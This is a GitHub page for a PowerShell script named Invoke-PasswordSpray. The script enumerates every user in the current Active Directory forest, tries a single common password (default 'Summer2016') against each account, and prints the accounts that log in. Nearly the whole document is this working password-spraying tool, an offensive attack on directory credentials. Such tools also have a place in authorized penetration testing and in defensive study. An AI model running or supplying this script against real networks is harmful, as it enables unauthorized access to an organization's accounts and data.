forked from MrAnde7son/PowerShell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathInvoke-PasswordSpray.ps1
68 lines (56 loc) · 1.86 KB
/
Invoke-PasswordSpray.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<#
Author: Itamar Mizrahi (@MrAnde7son)
License: GNU v3
Required Dependencies: None
Optional Dependencies: None
#>
function Invoke-PasswordSpray
{
<#
.SYNOPSIS
This tool tries a given password on all the users within the current directory (the entire forest).
Author: Itamar Mizrahi (@MrAnde7son)
License: GNU v3
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
.PARAMETER Password
Common\Default password to use.
.EXAMPLE
#>
[CmdletBinding()]
param
(
[parameter(Mandatory=$False, Position=0, ValueFromPipeline=$True)]
[string]$Password = "Summer2016"
)
Function Test-ADAuthentication {
param($Username,$Password)
(new-object directoryservices.directoryentry "",$Username,$Password).psbase.name -ne $null
}
$AllUsers = @()
$objForest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
$DomainList = @($objForest.Domains)
foreach ($Domain in $DomainList)
{
$strFilter = "(objectCategory=User)"
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher($Domain.GetDirectoryEntry())
$objSearcher.PageSize = 10000
$objSearcher.Filter = $strFilter
$objSearcher.SearchScope = "Subtree"
$objSearcher.PropertiesToLoad.Add("samaccountname") | Out-Null
$colResults = $objSearcher.FindAll()
foreach ($objResult in $colResults)
{
$AllUsers += $Domain.name.ToString() + "\" + $objResult.Properties.Item("samaccountname")
}
}
foreach ($user in $AllUsers)
{
if(Test-ADAuthentication $user $password)
{
Write-Host $user
Start-Sleep -Seconds 30
}
}
}